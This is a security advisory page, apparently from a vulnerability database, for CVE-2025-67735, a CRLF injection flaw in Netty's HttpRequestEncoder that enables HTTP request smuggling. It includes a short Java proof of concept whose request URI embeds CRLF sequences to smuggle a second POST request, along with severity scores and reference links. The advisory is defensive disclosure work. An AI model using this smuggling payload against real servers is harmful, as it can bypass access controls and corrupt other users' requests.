Advisory details:
github_osv / GHSA-84h7-rjj3-6jx4
| Advisory ID | github_osv/GHSA-84h7-rjj3-6jx4 |
| Aliases |
CVE-2025-67735
|
| Summary | Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder ### Summary The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. ### Details The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. ### PoC Simple reproducer: ```java public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(); client.pipeline().addLast(new HttpClientCodec()); EmbeddedChannel server = new EmbeddedChannel(); server.pipeline().addLast(new HttpServerCodec()); server.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { System.out.println("Processing msg " + msg); } }); DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1" ); client.writeAndFlush(request); ByteBuf tmp; while ((tmp = client.readOutbound()) != null) { server.writeInbound(tmp); } } ``` ### Impact Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 5.9 |
| Risk | 3.0 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 6.5 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-84h7-rjj3-6jx4/GHSA-84h7-rjj3-6jx4.json |
| generic_textual | MODERATE |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/netty/netty | ||
| https://github.com/netty/netty/commit/77e81f1e5944d98b3acf887d3aa443b252752e94 | ||
| CVE-2025-67735 | https://nvd.nist.gov/vuln/detail/CVE-2025-67735 | |
| GHSA-84h7-rjj3-6jx4 | Other | https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4 |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-12-16T14:26:21Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2025/67xxx/CVE-2025-67735.json
Source Advisory: vulnrichment/CVE-2025-67735
[{'Exploitation': 'poc'},
{'Automatable': 'yes'},
{'Technical Impact': 'partial'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]